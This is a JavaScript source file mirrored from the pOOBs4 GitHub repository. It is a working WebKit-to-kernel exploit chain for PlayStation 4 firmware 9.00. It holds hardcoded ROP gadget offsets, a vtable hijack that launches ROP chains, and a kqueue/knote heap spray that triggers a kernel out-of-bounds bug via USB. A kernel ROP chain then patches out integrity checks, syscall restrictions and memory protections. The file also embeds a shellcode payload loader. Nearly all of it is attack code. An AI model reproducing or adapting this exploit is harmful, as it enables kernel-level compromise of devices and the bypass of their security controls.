mirror of
https://github.com/ChendoChap/pOOBs4.git
synced 2024-10-02 13:17:14 +02:00
886f4a07d0
- kill sysveri even more and leave no witnesses. - fix a bug that somehow wasn't breaking anything? - fix a rop bug regarding sys-v stack alignment. - provide more krop helper functions. - provide a smaller img (0x1800 bytes, also very compressible). see [#29] [#31] - add wk expl sanity check. - make sure pages accessed by kernel are locked. - try to reduce time spent with interrupts disabled. - @@@ Note: extensive testing has not been performed. it might be worse so panic at your own risk! @@@
947 lines
33 KiB
JavaScript
947 lines
33 KiB
JavaScript
var chain;
|
|
var kchain;
|
|
var kchain2;
|
|
var SAVED_KERNEL_STACK_PTR;
|
|
var KERNEL_BASE_PTR;
|
|
|
|
var webKitBase;
|
|
var webKitRequirementBase;
|
|
|
|
var libSceLibcInternalBase;
|
|
var libKernelBase;
|
|
|
|
var textArea = document.createElement("textarea");
|
|
|
|
const OFFSET_wk_vtable_first_element = 0x104F110;
|
|
const OFFSET_WK_memset_import = 0x000002A8;
|
|
const OFFSET_WK___stack_chk_fail_import = 0x00000178;
|
|
const OFFSET_WK_psl_builtin_import = 0xD68;
|
|
|
|
const OFFSET_WKR_psl_builtin = 0x33BA0;
|
|
|
|
const OFFSET_WK_setjmp_gadget_one = 0x0106ACF7;
|
|
const OFFSET_WK_setjmp_gadget_two = 0x01ECE1D3;
|
|
const OFFSET_WK_longjmp_gadget_one = 0x0106ACF7;
|
|
const OFFSET_WK_longjmp_gadget_two = 0x01ECE1D3;
|
|
|
|
const OFFSET_libcint_memset = 0x0004F810;
|
|
const OFFSET_libcint_setjmp = 0x000BB5BC;
|
|
const OFFSET_libcint_longjmp = 0x000BB616;
|
|
|
|
const OFFSET_WK2_TLS_IMAGE = 0x38e8020;
|
|
|
|
|
|
const OFFSET_lk___stack_chk_fail = 0x0001FF60;
|
|
const OFFSET_lk_pthread_create = 0x00025510;
|
|
const OFFSET_lk_pthread_join = 0x0000AFA0;
|
|
|
|
var nogc = [];
|
|
var syscalls = {};
|
|
var gadgets = {};
|
|
var wk_gadgetmap = {
|
|
"ret": 0x32,
|
|
"pop rdi": 0x319690,
|
|
"pop rsi": 0x1F4D6,
|
|
"pop rdx": 0x986C,
|
|
"pop rcx": 0x657B7,
|
|
"pop r8": 0xAFAA71,
|
|
"pop r9": 0x422571,
|
|
"pop rax": 0x51A12,
|
|
"pop rsp": 0x4E293,
|
|
|
|
"mov [rdi], rsi": 0x1A97920,
|
|
"mov [rdi], rax": 0x10788F7,
|
|
"mov [rdi], eax": 0x9964BC,
|
|
|
|
"cli ; pop rax": 0x566F8,
|
|
"sti": 0x1FBBCC,
|
|
|
|
"mov rax, [rax]": 0x241CC,
|
|
"mov rax, [rsi]": 0x5106A0,
|
|
"mov [rax], rsi": 0x1EFD890,
|
|
"mov [rax], rdx": 0x1426A82,
|
|
"mov [rax], edx": 0x3B7FE4,
|
|
"add rax, rsi": 0x170397E,
|
|
"mov rdx, rax": 0x53F501,
|
|
"add rax, rcx": 0x2FBCD,
|
|
"mov rsp, rdi": 0x2048062,
|
|
"mov rdi, [rax + 8] ; call [rax]": 0x751EE7,
|
|
"infloop": 0x7DFF,
|
|
|
|
"mov [rax], cl": 0xC6EAF,
|
|
};
|
|
|
|
var wkr_gadgetmap = {
|
|
"xchg rdi, rsp ; call [rsi - 0x79]": 0x1d74f0 //JOP 3
|
|
};
|
|
|
|
var wk2_gadgetmap = {
|
|
"mov [rax], rdi": 0xFFDD7,
|
|
"mov [rax], rcx": 0x2C9ECA,
|
|
"mov [rax], cx": 0x15A7D52,
|
|
};
|
|
var hmd_gadgetmap = {
|
|
"add [r8], r12": 0x2BCE1
|
|
};
|
|
var ipmi_gadgetmap = {
|
|
"mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]": 0x344B
|
|
};
|
|
|
|
function userland() {
|
|
|
|
//RW -> ROP method is strongly based off of:
|
|
//https://github.com/Cryptogenic/PS4-6.20-WebKit-Code-Execution-Exploit
|
|
|
|
p.launch_chain = launch_chain;
|
|
p.malloc = malloc;
|
|
p.malloc32 = malloc32;
|
|
p.stringify = stringify;
|
|
p.array_from_address = array_from_address;
|
|
p.readstr = readstr;
|
|
|
|
//pointer to vtable address
|
|
var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18));
|
|
//address of vtable
|
|
var textAreaVtable = p.read8(textAreaVtPtr);
|
|
//use address of 1st entry (in .text) to calculate webkitbase
|
|
webKitBase = p.read8(textAreaVtable).sub32(OFFSET_wk_vtable_first_element);
|
|
|
|
libSceLibcInternalBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_memset_import)));
|
|
libSceLibcInternalBase.sub32inplace(OFFSET_libcint_memset);
|
|
|
|
libKernelBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK___stack_chk_fail_import)));
|
|
libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail);
|
|
|
|
webKitRequirementBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_psl_builtin_import)));
|
|
webKitRequirementBase.sub32inplace(OFFSET_WKR_psl_builtin);
|
|
|
|
for (var gadget in wk_gadgetmap) {
|
|
window.gadgets[gadget] = webKitBase.add32(wk_gadgetmap[gadget]);
|
|
}
|
|
for (var gadget in wkr_gadgetmap) {
|
|
window.gadgets[gadget] = webKitRequirementBase.add32(wkr_gadgetmap[gadget]);
|
|
}
|
|
|
|
function get_jmptgt(address) {
|
|
var instr = p.read4(address) & 0xFFFF;
|
|
var offset = p.read4(address.add32(2));
|
|
if (instr != 0x25FF) {
|
|
return 0;
|
|
}
|
|
return address.add32(0x6 + offset);
|
|
}
|
|
|
|
function malloc(sz) {
|
|
var backing = new Uint8Array(0x10000 + sz);
|
|
window.nogc.push(backing);
|
|
var ptr = p.read8(p.leakval(backing).add32(0x10));
|
|
ptr.backing = backing;
|
|
return ptr;
|
|
}
|
|
|
|
function malloc32(sz) {
|
|
var backing = new Uint8Array(0x10000 + sz * 4);
|
|
window.nogc.push(backing);
|
|
var ptr = p.read8(p.leakval(backing).add32(0x10));
|
|
ptr.backing = new Uint32Array(backing.buffer);
|
|
return ptr;
|
|
}
|
|
|
|
function array_from_address(addr, size) {
|
|
var og_array = new Uint32Array(0x1000);
|
|
var og_array_i = p.leakval(og_array).add32(0x10);
|
|
|
|
p.write8(og_array_i, addr);
|
|
p.write4(og_array_i.add32(0x8), size);
|
|
p.write4(og_array_i.add32(0xC), 0x1);
|
|
|
|
nogc.push(og_array);
|
|
return og_array;
|
|
}
|
|
|
|
function stringify(str) {
|
|
var bufView = new Uint8Array(str.length + 1);
|
|
for (var i = 0; i < str.length; i++) {
|
|
bufView[i] = str.charCodeAt(i) & 0xFF;
|
|
}
|
|
window.nogc.push(bufView);
|
|
return p.read8(p.leakval(bufView).add32(0x10));
|
|
}
|
|
|
|
function readstr(addr) {
|
|
var str = "";
|
|
for (var i = 0;; i++) {
|
|
var c = p.read1(addr.add32(i));
|
|
if (c == 0x0) {
|
|
break;
|
|
}
|
|
str += String.fromCharCode(c);
|
|
|
|
}
|
|
return str;
|
|
}
|
|
|
|
var fakeVtable_setjmp = p.malloc32(0x200);
|
|
var fakeVtable_longjmp = p.malloc32(0x200);
|
|
var original_context = p.malloc32(0x40);
|
|
var modified_context = p.malloc32(0x40);
|
|
|
|
p.write8(fakeVtable_setjmp.add32(0x0), fakeVtable_setjmp);
|
|
p.write8(fakeVtable_setjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_setjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8]
|
|
p.write8(fakeVtable_setjmp.add32(0x10), original_context);
|
|
p.write8(fakeVtable_setjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_setjmp));
|
|
p.write8(fakeVtable_setjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_setjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8]
|
|
|
|
p.write8(fakeVtable_longjmp.add32(0x0), fakeVtable_longjmp);
|
|
p.write8(fakeVtable_longjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_longjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8]
|
|
p.write8(fakeVtable_longjmp.add32(0x10), modified_context);
|
|
p.write8(fakeVtable_longjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_longjmp));
|
|
p.write8(fakeVtable_longjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_longjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8]
|
|
|
|
function launch_chain(chain) {
|
|
chain.push(window.gadgets["pop rdi"]);
|
|
chain.push(original_context);
|
|
chain.push(libSceLibcInternalBase.add32(OFFSET_libcint_longjmp));
|
|
|
|
p.write8(textAreaVtPtr, fakeVtable_setjmp);
|
|
textArea.scrollLeft = 0x0;
|
|
p.write8(modified_context.add32(0x00), window.gadgets["ret"]);
|
|
p.write8(modified_context.add32(0x10), chain.stack);
|
|
p.write8(modified_context.add32(0x40), p.read8(original_context.add32(0x40)))
|
|
|
|
p.write8(textAreaVtPtr, fakeVtable_longjmp);
|
|
textArea.scrollLeft = 0x0;
|
|
p.write8(textAreaVtPtr, textAreaVtable);
|
|
}
|
|
|
|
var kview = new Uint8Array(0x1000);
|
|
var kstr = p.leakval(kview).add32(0x10);
|
|
var orig_kview_buf = p.read8(kstr);
|
|
|
|
p.write8(kstr, window.libKernelBase);
|
|
p.write4(kstr.add32(8), 0x40000);
|
|
var countbytes;
|
|
|
|
for (var i = 0; i < 0x40000; i++) {
|
|
if (kview[i] == 0x72 && kview[i + 1] == 0x64 && kview[i + 2] == 0x6c && kview[i + 3] == 0x6f && kview[i + 4] == 0x63) {
|
|
countbytes = i;
|
|
break;
|
|
}
|
|
}
|
|
p.write4(kstr.add32(8), countbytes + 32);
|
|
var dview32 = new Uint32Array(1);
|
|
var dview8 = new Uint8Array(dview32.buffer);
|
|
for (var i = 0; i < countbytes; i++) {
|
|
if (kview[i] == 0x48 && kview[i + 1] == 0xc7 && kview[i + 2] == 0xc0 && kview[i + 7] == 0x49 && kview[i + 8] == 0x89 && kview[i + 9] == 0xca && kview[i + 10] == 0x0f && kview[i + 11] == 0x05) {
|
|
dview8[0] = kview[i + 3];
|
|
dview8[1] = kview[i + 4];
|
|
dview8[2] = kview[i + 5];
|
|
dview8[3] = kview[i + 6];
|
|
var syscallno = dview32[0];
|
|
window.syscalls[syscallno] = window.libKernelBase.add32(i);
|
|
}
|
|
}
|
|
p.write8(kstr, orig_kview_buf);
|
|
|
|
chain = new rop();
|
|
|
|
//Sanity check
|
|
if (chain.syscall(20).low == 0) {
|
|
alert("webkit exploit failed. Try again if your ps4 is on fw 9.00.");
|
|
while (1);
|
|
}
|
|
}
|
|
|
|
function run_hax() {
|
|
userland();
|
|
if (chain.syscall(23, 0).low != 0x0) {
|
|
kernel();
|
|
//this wk exploit is pretty stable we can probably afford to kill webkit before payload loader but should we?.
|
|
//p.write8(0x0, 0x0); //write to 0x0 -> kill browser.
|
|
}
|
|
|
|
var payload_buffer = chain.syscall(477, 0x0, 0x300000, 0x7, 0x1000, 0xFFFFFFFF, 0);
|
|
var payload_loader = p.malloc32(0x1000);
|
|
|
|
//NOTE: You can replace this with a payload instead of the loader.
|
|
//You would need to create an array view of payload_buffer to do that. (var payload_writer = p.array_from_address(payload_buffer);)
|
|
//And other ways, ....
|
|
|
|
//This is x86_64 asm, you can disassemble it* if you want to know what the payload loader does under the hood. (* will need to account for endianness)
|
|
var loader_writer = payload_loader.backing;
|
|
loader_writer[0] = 0x56415741;
|
|
loader_writer[1] = 0x83485541;
|
|
loader_writer[2] = 0x894818EC;
|
|
loader_writer[3] = 0xC748243C;
|
|
loader_writer[4] = 0x10082444;
|
|
loader_writer[5] = 0x483C2302;
|
|
loader_writer[6] = 0x102444C7;
|
|
loader_writer[7] = 0x00000000;
|
|
loader_writer[8] = 0x000002BF;
|
|
loader_writer[9] = 0x0001BE00;
|
|
loader_writer[10] = 0xD2310000;
|
|
loader_writer[11] = 0x00009CE8;
|
|
loader_writer[12] = 0xC7894100;
|
|
loader_writer[13] = 0x8D48C789;
|
|
loader_writer[14] = 0xBA082474;
|
|
loader_writer[15] = 0x00000010;
|
|
loader_writer[16] = 0x000095E8;
|
|
loader_writer[17] = 0xFF894400;
|
|
loader_writer[18] = 0x000001BE;
|
|
loader_writer[19] = 0x0095E800;
|
|
loader_writer[20] = 0x89440000;
|
|
loader_writer[21] = 0x31F631FF;
|
|
loader_writer[22] = 0x0062E8D2;
|
|
loader_writer[23] = 0x89410000;
|
|
loader_writer[24] = 0x2C8B4CC6;
|
|
loader_writer[25] = 0x45C64124;
|
|
loader_writer[26] = 0x05EBC300;
|
|
loader_writer[27] = 0x01499848;
|
|
loader_writer[28] = 0xF78944C5;
|
|
loader_writer[29] = 0xBAEE894C;
|
|
loader_writer[30] = 0x00001000;
|
|
loader_writer[31] = 0x000025E8;
|
|
loader_writer[32] = 0x7FC08500;
|
|
loader_writer[33] = 0xFF8944E7;
|
|
loader_writer[34] = 0x000026E8;
|
|
loader_writer[35] = 0xF7894400;
|
|
loader_writer[36] = 0x00001EE8;
|
|
loader_writer[37] = 0x2414FF00;
|
|
loader_writer[38] = 0x18C48348;
|
|
loader_writer[39] = 0x5E415D41;
|
|
loader_writer[40] = 0x31485F41;
|
|
loader_writer[41] = 0xC748C3C0;
|
|
loader_writer[42] = 0x000003C0;
|
|
loader_writer[43] = 0xCA894900;
|
|
loader_writer[44] = 0x48C3050F;
|
|
loader_writer[45] = 0x0006C0C7;
|
|
loader_writer[46] = 0x89490000;
|
|
loader_writer[47] = 0xC3050FCA;
|
|
loader_writer[48] = 0x1EC0C748;
|
|
loader_writer[49] = 0x49000000;
|
|
loader_writer[50] = 0x050FCA89;
|
|
loader_writer[51] = 0xC0C748C3;
|
|
loader_writer[52] = 0x00000061;
|
|
loader_writer[53] = 0x0FCA8949;
|
|
loader_writer[54] = 0xC748C305;
|
|
loader_writer[55] = 0x000068C0;
|
|
loader_writer[56] = 0xCA894900;
|
|
loader_writer[57] = 0x48C3050F;
|
|
loader_writer[58] = 0x006AC0C7;
|
|
loader_writer[59] = 0x89490000;
|
|
loader_writer[60] = 0xC3050FCA;
|
|
chain.syscall(74, payload_loader, 0x4000, (0x1 | 0x2 | 0x4));
|
|
|
|
var pthread = p.malloc(0x10);
|
|
//
|
|
{
|
|
chain.fcall(window.syscalls[203], payload_buffer, 0x300000);
|
|
chain.fcall(libKernelBase.add32(OFFSET_lk_pthread_create), pthread, 0x0, payload_loader, payload_buffer);
|
|
}
|
|
chain.run();
|
|
|
|
|
|
awaitpl();
|
|
}
|
|
|
|
function kernel() {
|
|
extra_gadgets();
|
|
kchain_setup();
|
|
object_setup();
|
|
trigger_spray();
|
|
patch_once();
|
|
}
|
|
|
|
var handle;
|
|
var random_path;
|
|
var ex_info;
|
|
|
|
function load_prx(name) {
|
|
//sys_dynlib_load_prx
|
|
var res = chain.syscall(594, p.stringify(`/${random_path}/common/lib/${name}`), 0x0, handle, 0x0);
|
|
if (res.low != 0x0) {
|
|
alert("failed to load prx/get handle " + name);
|
|
}
|
|
//sys_dynlib_get_info_ex
|
|
p.write8(ex_info, 0x1A8);
|
|
res = chain.syscall(608, p.read4(handle), 0x0, ex_info);
|
|
if (res.low != 0x0) {
|
|
alert("failed to get module info from handle");
|
|
}
|
|
var tlsinit = p.read8(ex_info.add32(0x110));
|
|
var tlssize = p.read4(ex_info.add32(0x11C));
|
|
|
|
if (tlssize != 0) {
|
|
if (name == "libSceWebKit2.sprx") {
|
|
tlsinit.sub32inplace(OFFSET_WK2_TLS_IMAGE);
|
|
} else {
|
|
alert(`${name}, tlssize is non zero. this usually indicates that this module has a tls phdr with real data. You can hardcode the imgage to base offset here if you really wish to use one of these.`);
|
|
}
|
|
}
|
|
return tlsinit;
|
|
}
|
|
|
|
//Obtain extra gadgets through module loading
|
|
function extra_gadgets() {
|
|
handle = p.malloc(0x1E8);
|
|
var randomized_path_length_ptr = handle.add32(0x4);
|
|
var randomized_path_ptr = handle.add32(0x14);
|
|
ex_info = randomized_path_ptr.add32(0x40);
|
|
|
|
p.write8(randomized_path_length_ptr, 0x2C);
|
|
chain.syscall(602, 0, randomized_path_ptr, randomized_path_length_ptr);
|
|
random_path = p.readstr(randomized_path_ptr);
|
|
|
|
var ipmi_addr = load_prx("libSceIpmi.sprx");
|
|
var hmd_addr = load_prx("libSceHmd.sprx");
|
|
var wk2_addr = load_prx("libSceWebKit2.sprx");
|
|
|
|
for (var gadget in hmd_gadgetmap) {
|
|
window.gadgets[gadget] = hmd_addr.add32(hmd_gadgetmap[gadget]);
|
|
}
|
|
for (var gadget in wk2_gadgetmap) {
|
|
window.gadgets[gadget] = wk2_addr.add32(wk2_gadgetmap[gadget]);
|
|
}
|
|
for (var gadget in ipmi_gadgetmap) {
|
|
window.gadgets[gadget] = ipmi_addr.add32(ipmi_gadgetmap[gadget]);
|
|
}
|
|
|
|
for (var gadget in window.gadgets) {
|
|
p.read8(window.gadgets[gadget]);
|
|
//Ensure all gadgets are available to kernel.
|
|
chain.fcall(window.syscalls[203], window.gadgets[gadget], 0x10);
|
|
}
|
|
chain.run();
|
|
}
|
|
|
|
//Build the kernel rop chain, this is what the kernel will be executing when the fake obj pivots the stack.
|
|
function kchain_setup() {
|
|
const KERNEL_busy = 0x1B28DF8;
|
|
|
|
const KERNEL_bcopy = 0xACD;
|
|
const KERNEL_bzero = 0x2713FD;
|
|
const KERNEL_pagezero = 0x271441;
|
|
const KERNEL_memcpy = 0x2714BD;
|
|
const KERNEL_pagecopy = 0x271501;
|
|
const KERNEL_copyin = 0x2716AD;
|
|
const KERNEL_copyinstr = 0x271B5D;
|
|
const KERNEL_copystr = 0x271C2D;
|
|
const KERNEL_setidt = 0x312c40;
|
|
const KERNEL_setcr0 = 0x1FB949;
|
|
const KERNEL_Xill = 0x17d500;
|
|
const KERNEL_veriPatch = 0x626874;
|
|
const KERNEL_enable_syscalls_1 = 0x490;
|
|
const KERNEL_enable_syscalls_2 = 0x4B5;
|
|
const KERNEL_enable_syscalls_3 = 0x4B9;
|
|
const KERNEL_enable_syscalls_4 = 0x4C2;
|
|
const KERNEL_mprotect = 0x80B8D;
|
|
const KERNEL_prx = 0x23AEC4;
|
|
const KERNEL_dlsym_1 = 0x23B67F;
|
|
const KERNEL_dlsym_2 = 0x221b40;
|
|
const KERNEL_setuid = 0x1A06;
|
|
const KERNEL_syscall11_1 = 0x1100520;
|
|
const KERNEL_syscall11_2 = 0x1100528;
|
|
const KERNEL_syscall11_3 = 0x110054C;
|
|
const KERNEL_syscall11_gadget = 0x4c7ad;
|
|
const KERNEL_mmap_1 = 0x16632A;
|
|
const KERNEL_mmap_2 = 0x16632D;
|
|
const KERNEL_setcr0_patch = 0x3ade3B;
|
|
const KERNEL_kqueue_close_epi = 0x398991;
|
|
|
|
SAVED_KERNEL_STACK_PTR = p.malloc(0x200);
|
|
KERNEL_BASE_PTR = SAVED_KERNEL_STACK_PTR.add32(0x8);
|
|
//negative offset of kqueue string to kernel base
|
|
//0xFFFFFFFFFF86B593 0x505
|
|
//0xFFFFFFFFFF80E364 0x900
|
|
p.write8(KERNEL_BASE_PTR, new int64(0xFF80E364, 0xFFFFFFFF));
|
|
|
|
kchain = new rop();
|
|
kchain2 = new rop();
|
|
//Ensure the krop stack remains available.
|
|
{
|
|
chain.fcall(window.syscalls[203], kchain.stackback, 0x40000);
|
|
chain.fcall(window.syscalls[203], kchain2.stackback, 0x40000);
|
|
chain.fcall(window.syscalls[203], SAVED_KERNEL_STACK_PTR, 0x10);
|
|
}
|
|
chain.run();
|
|
|
|
kchain.count = 0;
|
|
kchain2.count = 0;
|
|
|
|
kchain.set_kernel_var(KERNEL_BASE_PTR);
|
|
kchain2.set_kernel_var(KERNEL_BASE_PTR);
|
|
|
|
kchain.push(gadgets["pop rax"]);
|
|
kchain.push(SAVED_KERNEL_STACK_PTR);
|
|
kchain.push(gadgets["mov [rax], rdi"]);
|
|
kchain.push(gadgets["pop r8"]);
|
|
kchain.push(KERNEL_BASE_PTR);
|
|
kchain.push(gadgets["add [r8], r12"]);
|
|
|
|
//Sorry we're closed
|
|
kchain.kwrite1(KERNEL_busy, 0x1);
|
|
kchain.push(gadgets["sti"]); //it should be safe to re-enable interrupts now.
|
|
|
|
|
|
var idx1 = kchain.write_kernel_addr_to_chain_later(KERNEL_setidt);
|
|
var idx2 = kchain.write_kernel_addr_to_chain_later(KERNEL_setcr0);
|
|
//Modify UD
|
|
kchain.push(gadgets["pop rdi"]);
|
|
kchain.push(0x6);
|
|
kchain.push(gadgets["pop rsi"]);
|
|
kchain.push(gadgets["mov rsp, rdi"]);
|
|
kchain.push(gadgets["pop rdx"]);
|
|
kchain.push(0xE);
|
|
kchain.push(gadgets["pop rcx"]);
|
|
kchain.push(0x0);
|
|
kchain.push(gadgets["pop r8"]);
|
|
kchain.push(0x0);
|
|
var idx1_dest = kchain.get_rsp();
|
|
kchain.pushSymbolic(); // overwritten with KERNEL_setidt
|
|
|
|
kchain.push(gadgets["pop rsi"]);
|
|
kchain.push(0x80040033);
|
|
kchain.push(gadgets["pop rdi"]);
|
|
kchain.push(kchain2.stack);
|
|
var idx2_dest = kchain.get_rsp();
|
|
kchain.pushSymbolic(); // overwritten with KERNEL_setcr0
|
|
|
|
kchain.finalizeSymbolic(idx1, idx1_dest);
|
|
kchain.finalizeSymbolic(idx2, idx2_dest);
|
|
|
|
|
|
//Initial patch(es)
|
|
kchain2.kwrite2(KERNEL_veriPatch, 0x9090);
|
|
kchain2.kwrite1(KERNEL_bcopy, 0xEB);
|
|
//might as well do the others
|
|
kchain2.kwrite1(KERNEL_bzero, 0xEB);
|
|
kchain2.kwrite1(KERNEL_pagezero, 0xEB);
|
|
kchain2.kwrite1(KERNEL_memcpy, 0xEB);
|
|
kchain2.kwrite1(KERNEL_pagecopy, 0xEB);
|
|
kchain2.kwrite1(KERNEL_copyin, 0xEB);
|
|
kchain2.kwrite1(KERNEL_copyinstr, 0xEB);
|
|
kchain2.kwrite1(KERNEL_copystr, 0xEB);
|
|
|
|
//I guess you're not all that bad...
|
|
kchain2.kwrite1(KERNEL_busy, 0x0); //it should now be safe to handle timer-y interrupts again
|
|
|
|
//Restore original UD
|
|
var idx3 = kchain2.write_kernel_addr_to_chain_later(KERNEL_Xill);
|
|
var idx4 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setidt);
|
|
kchain2.push(gadgets["pop rdi"]);
|
|
kchain2.push(0x6);
|
|
kchain2.push(gadgets["pop rsi"]);
|
|
var idx3_dest = kchain2.get_rsp();
|
|
kchain2.pushSymbolic(); // overwritten with KERNEL_Xill
|
|
kchain2.push(gadgets["pop rdx"]);
|
|
kchain2.push(0xE);
|
|
kchain2.push(gadgets["pop rcx"]);
|
|
kchain2.push(0x0);
|
|
kchain2.push(gadgets["pop r8"]);
|
|
kchain2.push(0x0);
|
|
var idx4_dest = kchain2.get_rsp();
|
|
kchain2.pushSymbolic(); // overwritten with KERNEL_setidt
|
|
|
|
kchain2.finalizeSymbolic(idx3, idx3_dest);
|
|
kchain2.finalizeSymbolic(idx4, idx4_dest);
|
|
|
|
//Apply kernel patches
|
|
kchain2.kwrite4(KERNEL_enable_syscalls_1, 0x00000000);
|
|
//patch in reverse because /shrug
|
|
kchain2.kwrite1(KERNEL_enable_syscalls_4, 0xEB);
|
|
kchain2.kwrite2(KERNEL_enable_syscalls_3, 0x9090);
|
|
kchain2.kwrite2(KERNEL_enable_syscalls_2, 0x9090);
|
|
|
|
kchain2.kwrite1(KERNEL_setuid, 0xEB);
|
|
kchain2.kwrite4(KERNEL_mprotect, 0x00000000);
|
|
kchain2.kwrite2(KERNEL_prx, 0xE990);
|
|
kchain2.kwrite1(KERNEL_dlsym_1, 0xEB);
|
|
kchain2.kwrite4(KERNEL_dlsym_2, 0xC3C03148);
|
|
|
|
kchain2.kwrite1(KERNEL_mmap_1, 0x37);
|
|
kchain2.kwrite1(KERNEL_mmap_2, 0x37);
|
|
|
|
kchain2.kwrite4(KERNEL_syscall11_1, 0x00000002);
|
|
kchain2.kwrite8_kaddr(KERNEL_syscall11_2, KERNEL_syscall11_gadget);
|
|
kchain2.kwrite4(KERNEL_syscall11_3, 0x00000001);
|
|
|
|
//Restore CR0
|
|
kchain2.kwrite4(KERNEL_setcr0_patch, 0xC3C7220F);
|
|
var idx5 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setcr0_patch);
|
|
kchain2.push(gadgets["pop rdi"]);
|
|
kchain2.push(0x80050033);
|
|
var idx5_dest = kchain2.get_rsp();
|
|
kchain2.pushSymbolic(); // overwritten with KERNEL_setcr0_patch
|
|
kchain2.finalizeSymbolic(idx5, idx5_dest);
|
|
|
|
//Recover
|
|
kchain2.rax_kernel(KERNEL_kqueue_close_epi);
|
|
kchain2.push(gadgets["mov rdx, rax"]);
|
|
kchain2.push(gadgets["pop rsi"]);
|
|
kchain2.push(SAVED_KERNEL_STACK_PTR);
|
|
kchain2.push(gadgets["mov rax, [rsi]"]);
|
|
kchain2.push(gadgets["pop rcx"]);
|
|
kchain2.push(0x10);
|
|
kchain2.push(gadgets["add rax, rcx"]);
|
|
kchain2.push(gadgets["mov [rax], rdx"]);
|
|
kchain2.push(gadgets["pop rdi"]);
|
|
var idx6 = kchain2.pushSymbolic();
|
|
kchain2.push(gadgets["mov [rdi], rax"]);
|
|
kchain2.push(gadgets["sti"]);
|
|
kchain2.push(gadgets["pop rsp"]);
|
|
var idx6_dest = kchain2.get_rsp();
|
|
kchain2.pushSymbolic(); // overwritten with old stack pointer
|
|
kchain2.finalizeSymbolic(idx6, idx6_dest);
|
|
}
|
|
|
|
function object_setup() {
|
|
//Map fake object
|
|
var fake_knote = chain.syscall(477, 0x4000, 0x4000 * 0x3, 0x3, 0x1010, 0xFFFFFFFF, 0x0);
|
|
var fake_filtops = fake_knote.add32(0x4000);
|
|
var fake_obj = fake_knote.add32(0x8000);
|
|
if (fake_knote.low != 0x4000) {
|
|
alert("enomem: " + fake_knote);
|
|
while (1);
|
|
}
|
|
//setup fake object
|
|
//KNOTE
|
|
{
|
|
p.write8(fake_knote, fake_obj);
|
|
p.write8(fake_knote.add32(0x68), fake_filtops)
|
|
}
|
|
//FILTOPS
|
|
{
|
|
p.write8(fake_filtops.sub32(0x79), gadgets["cli ; pop rax"]); //cli ; pop rax ; ret
|
|
p.write8(fake_filtops.add32(0x0), gadgets["xchg rdi, rsp ; call [rsi - 0x79]"]); //xchg rdi, rsp ; call qword ptr [rsi - 0x79]
|
|
p.write8(fake_filtops.add32(0x8), kchain.stack);
|
|
p.write8(fake_filtops.add32(0x10), gadgets["mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]"]); //mov rcx, qword ptr [rdi] ; mov rsi, rax ; call qword ptr [rcx + 0x30]
|
|
}
|
|
//OBJ
|
|
{
|
|
p.write8(fake_obj.add32(0x30), gadgets["mov rdi, [rax + 8] ; call [rax]"]); //mov rdi, qword ptr [rax + 8] ; call qword ptr [rax]
|
|
}
|
|
//Ensure the fake knote remains available
|
|
chain.syscall(203, fake_knote, 0xC000);
|
|
}
|
|
|
|
var trigger_spray = function () {
|
|
|
|
var NUM_KQUEUES = 0x1B0;
|
|
var kqueue_ptr = p.malloc(NUM_KQUEUES * 0x4);
|
|
//Make kqueues
|
|
{
|
|
for (var i = 0; i < NUM_KQUEUES; i++) {
|
|
chain.fcall(window.syscalls[362]);
|
|
chain.write_result4(kqueue_ptr.add32(0x4 * i));
|
|
}
|
|
}
|
|
chain.run();
|
|
var kqueues = p.array_from_address(kqueue_ptr, NUM_KQUEUES);
|
|
|
|
var that_one_socket = chain.syscall(97, 2, 1, 0);
|
|
if (that_one_socket.low < 0x100 || that_one_socket.low >= 0x200) {
|
|
alert("invalid socket");
|
|
while (1);
|
|
}
|
|
|
|
//Spray kevents
|
|
var kevent = p.malloc(0x20);
|
|
p.write8(kevent.add32(0x0), that_one_socket);
|
|
p.write4(kevent.add32(0x8), 0xFFFF + 0x010000);
|
|
p.write4(kevent.add32(0xC), 0x0);
|
|
p.write8(kevent.add32(0x10), 0x0);
|
|
p.write8(kevent.add32(0x18), 0x0);
|
|
//
|
|
{
|
|
for (var i = 0; i < NUM_KQUEUES; i++) {
|
|
chain.fcall(window.syscalls[363], kqueues[i], kevent, 0x1, 0x0, 0x0, 0x0);
|
|
}
|
|
}
|
|
chain.run();
|
|
|
|
|
|
|
|
//Fragment memory
|
|
{
|
|
for (var i = 18; i < NUM_KQUEUES; i += 2) {
|
|
chain.fcall(window.syscalls[6], kqueues[i]);
|
|
}
|
|
}
|
|
chain.run();
|
|
|
|
//Trigger OOB
|
|
alert("Insert USB now. do not close the dialog until notification pops, remove usb after closing it.");
|
|
//Trigger corrupt knote
|
|
{
|
|
for (var i = 1; i < NUM_KQUEUES; i += 2) {
|
|
chain.fcall(window.syscalls[6], kqueues[i]);
|
|
}
|
|
}
|
|
chain.run();
|
|
|
|
if (chain.syscall(23, 0).low == 0) {
|
|
{
|
|
//cleanup fake knote & release locked gadgets/stack.
|
|
chain.fcall(window.syscalls[73], 0x4000, 0xC000);
|
|
chain.fcall(window.syscalls[325]);
|
|
}
|
|
chain.run();
|
|
return;
|
|
}
|
|
alert(`Failed to trigger the exploit, This happened because you plugged it in too late/early or not at all.
|
|
if you did plug it in then the kernel heap is slightly corrupted, this might cause panics later on.
|
|
closing this alert will crash the browser for you.`);
|
|
p.write8(0, 0);
|
|
return;
|
|
}
|
|
|
|
